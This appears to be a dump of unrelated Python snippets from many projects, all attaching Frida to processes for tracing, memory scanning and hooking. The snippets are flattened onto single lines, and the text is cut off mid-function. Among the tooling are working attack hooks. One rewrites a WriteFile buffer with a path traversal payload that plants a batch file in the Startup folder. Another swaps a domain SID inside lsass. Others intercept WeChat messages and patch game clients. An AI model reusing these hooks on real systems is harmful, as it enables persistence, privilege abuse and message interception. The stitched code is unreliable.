def attach(process): try: session = frida.attach(process) except frida.ProcessNotFoundError: print('[!] No app running. Trying to spawn.') pid = spawn_app(process) session = frida.attach(pid) return session
def init_session(): try: session = None if platform == 'ios' or platform == 'android': try: device = frida.get_usb_device() except Exception as e: print colored(str(e), "red") traceback.print_exc() if platform == 'android': print colored("Troubleshooting Help", "blue") print colored("HINT: Is USB Debugging enabled?", "blue") print colored("HINT: Is `frida-server` running on mobile device (with +x permissions)?", "blue") print colored("HINT: Is `adb` daemon running?", "blue") sys.exit(1) elif platform == "ios": print colored("Troubleshooting Help", "blue") print colored("HINT: Have you installed `frida` module from Cydia?", "blue") print colored("HINT: Have used `ipa_installer` to inject the `FridaGadget` shared lbrary?", "blue") sys.exit(1) elif platform == 'macos': device = frida.get_local_device() else: print colored('[ERROR] Unsupported Platform', 'red') sys.exit(1) if app_name: try: if platform == 'android' and spawn == 1: pid = device.spawn(app_name) session = frida.attach(pid) elif (platform == 'ios' or platform == 'macos') and spawn == 1: bundleID = getBundleID(device, app_name, platform) if bundleID: print colored("Now Spawning %s" % bundleID, "green") pid = device.spawn([bundleID]) session = frida.attach(pid) else: print colored("[ERROR] Can't spawn %s" % app_name, "red") traceback.print_exc() sys.exit(1) else: session = device.attach(app_name) except Exception as e: print colored('[ERROR] ' + str(e), 'red') traceback.print_exc() if session: print colored('[INFO] Attached to %s' % (app_name), 'yellow') session.on('detached', on_detached) except Exception as e: print colored('[ERROR] ' + str(e), 'red') traceback.print_exc() sys.exit(1) return device, session, pid
def main(target_process): pid = frida.spawn([target_process]) session = frida.attach(pid) script = session.create_script(""" lang=Module.findExportByName("kernel32","GetSystemDefaultLCID"); Interceptor.attach(lang, { onEnter: function (args) { console.log('Found backdoor function'); }, // When function is finished onLeave: function (retval) { retval=0x804; console.log('Press F8 to enable read backdoor, Password: oneplus'); return retval; } }); """) script.on('message', on_message) script.load() frida.resume(pid) print("[!] Ctrl+D on UNIX, Ctrl+C on Windows/cmd.exe to detach from instrumented program.\n\n") sys.stdin.read() session.detach()
def main(): # Attach on running process session = frida.attach(TARGET_APP) # Instrumentation script # Receive message from host and handle it on handleMessage jscode = read_script("recv.js") script = session.create_script(jscode) # Set a callback, when frida is sending a string, we print it out script.on('message', on_message) # Load the script script.load() # Object which sent-received is an object. # In python term, it should be a dictionary. print("[!] Sending message to instrumentation script") script.post( { 'magic' : 135 } ) script.post( { 'magic' : 135 } ) # Delay # Execution is happened on other process so we need to make our script # running all the way to the end input("[!] Press <Enter> at any time to detach from instrumented program.\n\n") session.detach()
def main(): # Refuse to run if argument is not 3 if len(sys.argv) < 4: print("Usage: python script.py <target>.exe <scriptname>.js <address>") sys.exit(0) # Parse the arguments target_app = sys.argv[1] # Target application script_name = sys.argv[2] # Script name addr = int(sys.argv[3], 16) # Address is in hex form # Attach on running process session = frida.attach(target_app) # Instrumentation script # Using Interceptor to attach to a function # Here we are inside a function jscode = read_script(script_name) script = session.create_script(jscode % (addr)) # Set a callback, when frida is sending a string, we print it out script.on('message', on_message) # Load the script script.load() # Delay # Execution is happened on other process so we need to make our script # running all the way to the end input( "[!] Press <Enter> at any time to detach from instrumented program.\n\n" ) session.detach()
def main(): if len(sys.argv) > 1: global SCRIPT_NAME SCRIPT_NAME = sys.argv[1] if len(sys.argv) > 2: global PROCESS PROCESS = sys.argv[2] # Get device (see also attach.py) session = frida.attach(PROCESS) # Instrumentation script jscode = load_script(SCRIPT_NAME) script = session.create_script(jscode) # Set a callback, when frida is sending a string, we print it out script.on('message', on_message) # Load the script script.load() # Delay # Execution is happened on other process so we need to make our script # running all the way to the end try: while True: sys.stdin.read() except KeyboardInterrupt: session.detach() sys.exit(0)
def attach(self): if self.project.pid != None: target_process = self.project.pid elif self.project.process_name != None: target_process = self.project.process_name else: log.warn("No process specified with 'process_name' or 'pid'!") return False if self.project.remote_frida: self.frida_session = frida.get_remote_device().attach( target_process) else: self.frida_session = frida.attach(target_process) self.loadScript() pid = self.frida_script.exports.getpid() log.info("Attached to pid %d!" % pid) self.project.pid = pid # Query the loaded modules from the target self.getModuleMap() # ... and create the module filter list self.createModuleFilterList() return True
def main(target_process, pattern): session = frida.attach(target_process) script = session.create_script(""" var ranges = Process.enumerateRangesSync({protection: 'r--', coalesce: true}); var range; function processNext(){ range = ranges.pop(); if(!range){ // we are done return; } // due to the lack of blacklisting in Frida, there will be // always an extra match of the given pattern (if found) because // the search is done also in the memory owned by Frida. Memory.scan(range.base, range.size, '%s', { onMatch: function(address, size){ console.log('[+] Pattern found at: ' + address.toString()); }, onError: function(reason){ console.log('[!] There was an error scanning memory'); }, onComplete: function(){ processNext(); } }); } processNext(); """ % pattern) script.on('message', on_message) script.load() raw_input('[!] Press <Enter> at any time to detach from instrumented program.\n\n') session.detach()
def trace(target_process, is_usb=False): if is_usb: device = frida.get_usb_device() session = device.attach(target_process) else: session = frida.attach(target_process) # session1 = frida.spawn(target_process) name = "octrace.js" with open(name) as f: content = f.read() script = session.create_script(content) script.on("message", on_message) script.load() print("[!] Ctrl+D or Ctrl+Z to detach from instrumented program.\n\n") try: sys.stdin.read() session.detach() except KeyboardInterrupt: print("Stoped") if session: session.detach() sys.exit() else: pass finally: pass
def main(): # Refuse to run if argument is not 3 if len(sys.argv) < 2: print("Usage: python script.py <address>") sys.exit(0) # Parse the arguments addr = int(sys.argv[1], 16) # Address is in hex form # Attach on running process session = frida.attach(TARGET_APP) # Instrumentation script # Using Interceptor to attach to a function # Here we are inside a function global script jscode = load_script("blocking-recv.js") script = session.create_script(jscode % (addr)) # Set a callback, when frida is sending a string, we print it out script.on('message', on_message) # Load the script script.load() script.post({'magic': 135}) script.post({'magic': 135}) # Delay # Execution is happened on other process so we need to make our script # running all the way to the end input( "[!] Press <Enter> at any time to detach from instrumented program.\n\n" ) session.detach()
def __init__(self, process_name_or_pid, bits=None, os_name=None): import frida self.session = frida.attach(process_name_or_pid) self.name = process_name_or_pid self.cpu = bits self.os_name = os_name self._init_mappings()
def __init__(self, target_process): # Attach to the target process. self.session = frida.attach(target_process) # Load the script in the target process. self.script = self.session.create_script(script_code) self.script.load()
def main(target_process): session = frida.attach(target_process) script = session.create_script(""" var ModAddress=Process.findModuleByName('wechatwin.dll'); //console.log('ModAdress:' + ModAddress.base); var hookAddress=ModAddress.base.add('0x3CCB75') //console.log('hookAdress' + hookAddress.base) Interceptor.attach(hookAddress,{ onEnter:function(args) { //console.log(JSON.stringify(this.context)); var edi=this.context.edi; //console.log('edi:' + Memory.readPointer(edi)); var edi1=Memory.readPointer(edi) var wxid=Memory.readUtf16String(Memory.readPointer(edi1.add('0x40'))); var text=Memory.readUtf16String(Memory.readPointer(edi1.add('0x68'))); var chatroomvxid=Memory.readUtf16String(Memory.readPointer(edi1.add('0x164'))); send({'wxid':wxid,'text':text,'chatroomvxid':chatroomvxid}) //console.log(wxid + ':' + text); } }) """) script.on('message', on_message) script.load() print( "[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n" ) sys.stdin.read() session.detach()
def main(): # Attach on running process session = frida.attach(TARGET_APP) # Instrumentation script jscode = load_script("rpc.js") script = session.create_script(jscode) # Load the script script.load() # Use exported RPC api = script.exports # Call function disassembly() result = api.disassemble(DISASM_ADDR) print("Disassembling instruction at {}: {}".format(DISASM_ADDR,result)) # Call function hello() api.hello("Xathrya", "World") # Delay # Execution is happened on other process so we need to make our script # running all the way to the end input("[!] Press <Enter> at any time to detach from instrumented program.\n\n") session.detach()
def instrument(self, process_id): session = frida.attach(process_id) self.sessions.append(session) session.enable_child_gating() script = session.create_script(self.script_text) script.on('message', self.on_message) script.load()
def fridahook(target_process): session = frida.attach(target_process) script = session.create_script(""" var baseAddr = Module.findBaseAddress('KERNEL32.dll'); console.log('KERNEL32.dll baseAddr: ' + baseAddr); var writefile = Module.findExportByName("KERNEL32.dll", "WriteFile"); Interceptor.attach(ptr(writefile), { onEnter: function (args) { console.log("writefile()"); this.buf = args[1]; this.len = args[2].toInt32(); console.log(this.buf); console.log(this.len); var bbuf = Memory.readByteArray(this.buf, this.len); console.log(hexdump(Memory.readByteArray(this.buf, this.len))); if(hexdump(Memory.readByteArray(this.buf, this.len)).includes("63 00 2e 00 62 00 61 00 74")) { console.log("-< FOUND CONTROLLED FILE, REPLACING >-"); pathTraversalArray = [0x05,0x00,0x01,0x00,0x54,0x02,0x00,0x00,0x01,0x00,0x00,0x00,0x64,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x71,0x24,0xd8,0x40,0xf4,0xc9,0xd4,0x01,0x00,0x00,0x00,0x00,0xff,0x00,0x00,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x2e,0x00,0x2e,0x00,0x5c,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x67,0x00,0x72,0x00,0x61,0x00,0x6d,0x00,0x44,0x00,0x61,0x00,0x74,0x00,0x61,0x00,0x5c,0x00,0x4d,0x00,0x69,0x00,0x63,0x00,0x72,0x00,0x6f,0x00,0x73,0x00,0x6f,0x00,0x66,0x00,0x74,0x00,0x5c,0x00,0x57,0x00,0x69,0x00,0x6e,0x00,0x64,0x00,0x6f,0x00,0x77,0x00,0x73,0x00,0x5c,0x00,0x53,0x00,0x74,0x00,0x61,0x00,0x72,0x00,0x74,0x00,0x20,0x00,0x4d,0x00,0x65,0x00,0x6e,0x00,0x75,0x00,0x5c,0x00,0x50,0x00,0x72,0x00,0x6f,0x00,0x67,0x00,0x72,0x00,0x61,0x00,0x6d,0x00,0x73,0x00,0x5c,0x00,0x53,0x00,0x74,0x00,0x61,0x00,0x72,0x00,0x74,0x00,0x55,0x00,0x70,0x00,0x5c,0x00,0x63,0x00,0x2e,0x00,0x62,0x00,0x61,0x00,0x74,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00] Memory.writeByteArray(this.buf, pathTraversalArray); console.log("-< REPLACED WITH PATH TRAVERSAL >-"); console.log(hexdump(Memory.readByteArray(this.buf, this.len))); } } }); """) script.on('message', on_message) script.load() sys.stdin.read() session.detach()
def start1(): session = frida.attach('TestAdd.exe') # session.enable_debugger() script = session.create_script(code) script.load() input('Pause')
def __init__(self, target, device, os, filter, should_parse): """ Initialize the Frida agent @param target If `str`, it'll be interpreted as the process' name, if `int` it'll be the PID. """ self.device = device self._script_path = path.join(path.abspath(path.dirname(__file__)), '../../_agent.js') with open(self._script_path) as src_f: self._script_src = src_f.read() try: session = frida.attach( target ) # `target` is str or int depending on whether it's a name or pid except frida.PermissionDeniedError: logger.exit_with_error( f"You don't have enough permissions to attach to {target}, try sudo?" ) click.secho(f"[!] Successfully attached to {target}", fg='green') self._script = session.create_script(self._script_src) self._script.on('message', Agent.on_message) click.secho(f"[*] Loading script...", fg='green') self._script.load() click.secho(f"[!] Script loaded successfully", fg='green') self._script.exports.set_up(os, filter, should_parse) click.secho( f"[!] Hooks installed successfully and functions are being intercepted now", fg='green')
def main(target_process): try: session = frida.attach(target_process) gui.print_info() #dev.show_banner() except Exception as e: gui.print_error(str(e)) while True: #cmd = dev.shell_loop() cmd = gui.get_cmd() if cmd == 'proxy': if len(settings['capture_list']) != 0 : for capture_api in settings['capture_list']: hook_api(session,capture_api) else: gui.print_error("Empty capture_list") elif cmd =="GET_SETTING": try: gui.cmd_response("get_setting","success",settings) except Exception as e: gui.cmd_response("get_setting","fail",str(e)) elif cmd == 'clear' or cmd == 'cls': os.system('cls') elif cmd.startswith("set"): set_cmd(cmd) elif cmd == 'exit': #dev.exit_message() sys.exit()
def __init__(self, pid): self.session = frida.attach(pid) self.script = self.session.create_script(script) self.script.load() self.modules = self.script.exports.enumerate_modules() self.ptr_size = self.script.exports.ptr_size() self._interrupted = False
def setUpClass(cls): system = platform.system() if system == 'Windows': cls.target = subprocess.Popen([r"C:\Windows\notepad.exe"]) else: cls.target = subprocess.Popen(["/bin/cat"]) cls.session = frida.attach(cls.target.pid)
def start_process(f=None): global tpid print("launching poc.exe") subprocess.Popen([os.getcwd() + '\poc.exe']) pids = getpid("poc.exe") if len(pids) > 1: print("something is odd here, more than one process") sys.exit(1) if len(pids) == 0: print("not running") sys.exit(2) tpid = int(pids[0]) print("process is %d" % (tpid)) print("attaching Frida to mess with shader bytecode") print("poc waits a few seconds, before we inject our payload and crash...") session = frida.attach(tpid) scriptc = base_script script = session.create_script(scriptc) script.on('message', on_message) script.load() sys.stdin.read()
def main(target_process): session = frida.attach(target_process) script = session.create_script(""" // Find base address of current imported jvm.dll by main process fledge.exe var baseAddr = Module.findBaseAddress('Jvm.dll'); console.log('Jvm.dll baseAddr: ' + baseAddr); var SetAesDeCrypt0 = resolveAddress('0x1FF44870'); // Here we use the function address as seen in our disassembler Interceptor.attach(SetAesDeCrypt0, { // Intercept calls to our SetAesDecrypt function // When function is called, print out its parameters onEnter: function (args) { console.log(''); console.log('[+] Called SetAesDeCrypt0' + SetAesDeCrypt0); console.log('[+] Ctx: ' + args[0]); console.log('[+] Input: ' + args[1]); // Plaintext console.log('[+] Output: ' + args[2]); // This pointer will store the de/encrypted data console.log('[+] Len: ' + args[3]); // Length of data to en/decrypt dumpAddr('Input', args[1], args[3].toInt32()); this.outptr = args[2]; // Store arg2 and arg3 in order to see when we leave the function this.outsize = args[3].toInt32(); }, // When function is finished onLeave: function (retval) { dumpAddr('Output', this.outptr, this.outsize); // Print out data array, which will contain de/encrypted data as output console.log('[+] Returned from SetAesDeCrypt0: ' + retval); } }); function dumpAddr(info, addr, size) { if (addr.isNull()) return; console.log('Data dump ' + info + ' :'); var buf = Memory.readByteArray(addr, size); // If you want color magic, set ansi to true console.log(hexdump(buf, { offset: 0, length: size, header: true, ansi: false })); } function resolveAddress(addr) { var idaBase = ptr('0x1FEE0000'); // Enter the base address of jvm.dll as seen in your favorite disassembler (here IDA) var offset = ptr(addr).sub(idaBase); // Calculate offset in memory from base address in IDA database var result = baseAddr.add(offset); // Add current memory base address to offset of function to monitor console.log('[+] New addr=' + result); // Write location of function in memory to console return result; } """) script.on('message', on_message) script.load() print( "[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n" ) sys.stdin.read() session.detach()
def eval_script(self, enable_shell=False, disable_dns=False, disable_send=False, disable_com=False): self.device = frida.get_local_device() self.device.on('output', self.on_output) self.device.on('lost', self.on_lost) # Spawn and attach to the process pid = frida.spawn(self.process_sample) session = frida.attach(pid) # attach to the session with open("process_hooker.js") as fp: script_js = fp.read() self.script = session.create_script(script_js, name="process_hooker.js") self.script.on('message', self.on_message) session.on('detached', self.on_detach) self.script.on('destroyed', self.on_destroyed) self.script.load() # Set Script variables print(' [*] Setting Script Vars...') self.script.post({ "type": "set_script_vars", "debug": self._debug, "disable_dns": disable_dns, "enable_shell": enable_shell, "disable_send": disable_send, "disable_com": disable_com }) # Sleep for a second to ensure the vars are set.. time.sleep(1) print(' [*] Hooking Process %s' % pid) frida.resume(pid) print(' Press ctrl-c to kill the process...') # Keep the process running... while True: try: time.sleep(0.5) if self._process_terminated: break except KeyboardInterrupt: break if not self._process_terminated: # Kill it with fire frida.kill(pid)
def spawn_local(appname): print("[*] spawn a process on local machine") # Attach to process on local machine pid = frida.spawn([appname]) session = frida.attach(pid) frida.resume(pid) waitinterrupt()
def start2(): pid = frida.spawn('./TestAdd.exe') session = frida.attach(pid) script = session.create_script(code) script.load() frida.resume(pid)
def __init__(self, cmd, out_file="dump.bin"): self.pid = frida.spawn(cmd) self.session = frida.attach(self.pid) #enable Ducktape runtime self.session.disable_jit() self.dump = {} self.out_file = out_file self.raw = False
def inject_frida_agent(self, pid): int_pid = int(pid) try: self.session_list[pid] = frida.attach(int_pid) #session = frida.attach(int_pid) except Exception: self.error_signal.emit("Can not Inject frida agent dll")
def main(target_process): session = frida.attach(target_process) script = session.create_script(""" // Find base address of current imported lsadb.dll by lsass var baseAddr = Module.findBaseAddress('lsadb.dll'); console.log('lsadb.dll baseAddr: ' + baseAddr); // Add call to RtlLengthSid from LsaDbpDsForestBuildTrustEntryForAttrBlock // (address valid for Server 2016 v1607) var returnaddr = ptr('0x151dc'); var resolvedreturnaddr = baseAddr.add(returnaddr) // Sid as binary array to find/replace var buf1 = [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0xd6, 0x1c, 0x06, 0x4b, 0xdd, 0x5a, 0x42, 0x3e, 0x3d, 0x83, 0x3f, 0xa6]; var newsid = [0x01, 0x04, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0x15, 0x00, 0x00, 0x00, 0xac, 0x4a, 0x14, 0xaf, 0xc2, 0xc6, 0xce, 0x09, 0x7f, 0xa1, 0x58, 0xb5]; // Find module and attach var f = Module.getExportByName('ntdll.dll', 'RtlLengthSid'); Interceptor.attach(f, { onEnter: function (args) { // Only do something calls that have the return address we want if(this.returnAddress.equals(resolvedreturnaddr)){ console.log("entering intercepted function will return to r2 " + this.returnAddress); // Dump current SID console.log(hexdump(args[0], { offset: 0, length: 24, header: true, ansi: false })); // If this is the sid to replace, do so if(equal(buf1, args[0].readByteArray(24))){ console.log("sid matches!"); args[0].writeByteArray(newsid); console.log("modified SID in response"); } } }, }); function equal (buf1, buf2) { var dv1 = buf1; var dv2 = new Uint8Array(buf2); for (var i = 0 ; i != buf2.byteLength ; i++) { if (dv1[i] != dv2[i]){ return false; } } return true; } """) script.on('message', on_message) script.load() print( "[!] Ctrl+D on UNIX, Ctrl+Z on Windows/cmd.exe to detach from instrumented program.\n\n" ) sys.stdin.read() session.detach()
def start(self): self.stop() if self._session is None: self._session = frida.attach(self._pid) self._session.on('detached', self._on_detached) self._script = self._session._session.create_script( TRACER_SCRIPT_TEMPLATE % {'trigger_port': self._trigger_port}) self._script.on('message', self._on_message) self._script.load()
def start(self): self.stop() if self._session is None: self._session = frida.attach(self._pid) self._session.on('detached', self._on_detached) self._script = self._session._session.create_script(TRACER_SCRIPT_TEMPLATE % { 'trigger_port': self._trigger_port }) self._script.on('message', self._on_message) self._script.load()
def __init__(self): self.session = frida.attach('assaultcube') with codecs.open('./src/assaultcubeHooking.js', 'r', 'utf-8') as file: self.source = file.read() self.script = self.session.create_script(self.source) self.script.load() self.rpc = self.script.exports
def inject_frida_agent(self, pid): print("FridaAgent inject_frida_agent called!") int_pid = int(pid) try: self.session_list[pid] = frida.attach(int_pid) self.script_list[pid] = {} #session = frida.attach(int_pid) except Exception: self.error_signal.emit("Can not Inject frida agent dll")
def main(target_process, addr, bytes): session = frida.attach(target_process) script = session.create_script(""" Memory.writeByteArray(ptr('0x%x'), %s); """ % (addr, bytes)) script.on('message', on_message) script.load() raw_input('[!] Press <Enter> at any time to detach from instrumented program.\n\n') session.detach()
def _attach(self): # Attach to Mabinogi. while windll.user32.FindWindowA(b'Mabinogi', b'Mabinogi') == 0: time.sleep(1) try: self.session = frida.attach('Client.exe' if self.pid is None else self.pid) except frida.ProcessNotFoundError: print("Couldn't attach to Client.exe.") print("Make sure you're running kanan as administrator!") input() sys.exit()
def _start(self): try: self._update_status("Attaching...") self._process = frida.attach(self._target) except Exception as e: self._update_status("Failed to attach: %s" % e) self._exit_status = 1 self._reactor.schedule(self._stop) return self._update_status("Injecting script...") self._discoverer = Discoverer(self._reactor) self._discoverer.start(self._process, self)
def main(target_process): session = frida.attach(target_process) script = session.create_script(""" Process.enumerateModules({ onMatch: function(module){ console.log('Module name: ' + module.name + " - " + "Base Address: " + module.base.toString()); }, onComplete: function(){} }); """) script.on('message', on_message) script.load() raw_input('[!] Press <Enter> at any time to detach from instrumented program.\n\n') session.detach()
def main(target_process, module_name): session = frida.attach(target_process) script = session.create_script(""" Module.enumerateImports("%s", { onMatch: function(imp){ console.log('Module type: ' + imp.type + ' - Name: ' + imp.name + ' - Module: ' + imp.module + ' - Address: ' + imp.address.toString()); }, onComplete: function(){} }); """ % module_name) script.on('message', on_message) script.load() raw_input('[!] Press <Enter> at any time to detach from instrumented program.\n\n') session.detach()
def _start(self): try: self._update_status("Attaching...") self._process = frida.attach(self._target) except Exception as e: self._update_status("Failed to attach: %s" % e) self._exit_status = 1 self._reactor.schedule(self._stop) return self._tracer = Tracer(self._reactor, FileRepository(), self._profile) targets = self._tracer.start_trace(self._process, self) if len(targets) == 1: plural = "" else: plural = "s" self._update_status("Started tracing %d function%s. Press ENTER to stop." % (len(targets), plural))
def main(target_process, addr, size): session = frida.attach(target_process) script = session.create_script(""" var buf = Memory.readByteArray(ptr('0x%x'), %d); console.log(hexdump(buf, { offset: 0, length: %d, header: true, ansi: false })); """ % (addr, size, size)) script.on('message', on_message) script.load() raw_input('[!] Press <Enter> at any time to detach from instrumented program.\n\n') session.detach()
def _attach(self): # Attach to Mabinogi. while ctypes.windll.user32.FindWindowA(b'Mabinogi', None) == 0: time.sleep(1) try: self.session = frida.attach('Client.exe' if self.pid is None else self.pid) # Force the use of v8 for modern javascript (only for newer # versions of frida). enable_jit = getattr(self.session, 'enable_jit', None) if callable(enable_jit): enable_jit() except frida.ProcessNotFoundError: print("Couldn't attach to Client.exe.") print("Make sure you're running kanan as administrator!") input() sys.exit()
def main(): if len(sys.argv) < 2: print('Usage: %s <process name or PID>' % sys.argv[0]) sys.exit(1) try: target_process = int(sys.argv[1]) except ValueError: target_process = sys.argv[1] guard_fptr_rva = get_GuardCFCheckFunctionPointer_rva() session = frida.attach(target_process) script = session.create_script(""" var GuardCFCheckFunctionPointer = Module.findBaseAddress('ntdll.dll').add(0x%x); console.log('GuardCFCheckFunctionPointer: ' + GuardCFCheckFunctionPointer.toString()); /* LoadConfig.GuardCFCheckFunctionPointer -> __guard_check_icall_fptr -> guard_function * When CFG is enabled, __guard_check_icall_fptr points to ntdll!LrdpValidateUserCallTarget (not exported, unfortunately). * Otherwise, __guard_check_icall_fptr points to dummy function _guard_check_icall_nop (exported as ntdll!RtlDebugPrintTimes) */ var guard_function = Memory.readPointer(Memory.readPointer(GuardCFCheckFunctionPointer)); console.log('Guard function: ' + guard_function.toString()); var nop_function = Module.findExportByName('ntdll.dll', 'RtlDebugPrintTimes'); console.log('RtlDebugPrintTimes: ' + nop_function.toString()); if (guard_function.equals(nop_function)){ console.log('[!] the instrumented program does not use Control Flow Guard!'); console.log('[!] __guard_check_icall_fptr points to dummy function _guard_check_icall_nop.'); send('no-cfg-enabled'); } else{ console.log('>> Hooking ntdll!LrdpValidateUserCallTarget...'); Interceptor.attach(guard_function, { onEnter: function(args){ console.log('[+] called from ' + this.returnAddress.sub(6).toString() + ' | validating function ptr ' + this.context.ecx); } }); } """ % (guard_fptr_rva)) script.on('message', on_message) script.load() raw_input("[!] Press <Enter> at any time to detach from the instrumented program.\n\n") session.detach()
def main(target_process): session = frida.attach(target_process) script = session.create_script(""" function StalkerExeample() { var threadIds = []; Process.enumerateThreads({ onMatch: function (thread) { threadIds.push(thread.id); console.log("Thread ID: " + thread.id.toString()); }, onComplete: function () { threadIds.forEach(function (threadId) { Stalker.follow(threadId, { events: {call: true}, onReceive: function (events) { console.log("onReceive called."); }, onCallSummary: function (summary) { console.log("onCallSummary called."); } }); }); } }); } StalkerExeample(); """) script.on('message', on_message) script.load() raw_input('[!] Press <Enter> at any time to detach from instrumented program.\n\n') session.detach()
import sys import frida #import frida.tracer import tracer if __name__ == '__main__': if len(sys.argv) != 2: print "Usage: %s <process name>" % sys.argv[0] sys.exit(1) tp = tracer.TracerProfileBuilder().include_modules("*").exclude_modules("libSystem*").build() t = tracer.Tracer(tp) p = frida.attach(sys.argv[1]) t.start_trace(p, tracer.STDOUT_SINK) sys.stdin.read() sys.exit(0)
import frida import os targetProcessName = "MyApp.exe" try: session = frida.attach(targetProcessName) except Exception as ex: print ex os.system('pause') sys.exit(-1) script = session.create_script(""" var module = Process.enumerateModulesSync() .filter(function(x) { return x.name == '%s'; })[0]; var patched = false; Process.enumerateRanges('rw-', { onMatch: function(range) { var matches = Memory.scanSync(range.base, range.size, '90 33 d2 89 55 ?? 90'); if (matches.length == 0) { return; } var match = matches[0]; Memory.writeByteArray(match.address, [ 0x31, 0xD2, 0x42 ]); console.log('Patched code at ' + match.address); patched = true; }, onComplete: function() { } }); if (!patched) { console.log('Failed to patch code');
def main(): # Handle command line arguments. try: opts, args = getopt.getopt(sys.argv[1:], 'hdp:tv', ['help', 'debug', 'pid=', 'test', 'verbose']) except getopt.GetoptError as err: print(err) usage() sys.exit(2) debug = 'false' test = 'false' verbose = 'false' pid = None for o, a in opts: if o in ('-h', '--help'): usage() sys.exit() elif o in ('-d', '--debug'): debug = 'true' elif o in ('-p', '--pid'): pid = int(a) elif o in ('-t', '--test'): test = 'true' elif o in ('-v', '--verbose'): verbose = 'true' else: assert False, "Unhandled option" # Attach to Mabinogi. print("Kanan's Mabinogi Mod") print("Waiting for Client.exe...") while windll.user32.FindWindowA(b'Mabinogi', b'Mabinogi') == 0: time.sleep(1) try: session = frida.attach('Client.exe' if pid is None else pid) except frida.ProcessNotFoundError: print("Couldn't attach to Client.exe.") print("Make sure you're running kanan as administrator!") input() sys.exit() # Load the scripts. print("Attached to Client.exe...") print("Loading scripts...") path = sys.path[0].replace('\\', '\\\\') script_defaults = ('var debug = {};' 'var testing = {};' 'var verbose = {};' 'var path = "{}";').format(debug, test, verbose, path) scripts = [] delayed_scripts = [] with open('./scripts/Defaults.js') as f: script_defaults += f.read() coalesced_source = script_defaults for filename in glob.iglob('./scripts/*.js'): shortname = os.path.basename(filename) if is_disabled(filename): continue if is_delayed(filename): print("Delaying " + shortname) delayed_scripts.append(filename) continue source = script_defaults with open(filename) as f: if is_coalesced(filename) and debug == 'false': print("Coalescing " + shortname) coalesced_source += 'var scriptName = "{}";\n'.format(shortname) coalesced_source += f.read() continue else: print("Running " + shortname) source += 'var scriptName = "{}";\n'.format(shortname) source += f.read() script = session.create_script(source) script.on('message', on_message) script.load() scripts.append(script) # Execute the coalesced script. if debug == 'false': print("Running coalesced script...") script = session.create_script(coalesced_source) script.on('message', on_message) script.load() scripts.append(script) # Execute delayed scripts. print("Running delayed scripts...") for filename in delayed_scripts: shortname = os.path.basename(filename) source = script_defaults with open(filename) as f: print("Running " + shortname) source += 'var scriptName = "{}";\n'.format(shortname) source += f.read() script = session.create_script(source) script.on('message', on_message) script.load() scripts.append(script) print("All done!") input() # Unload the scripts and detach. print("Unloading scripts 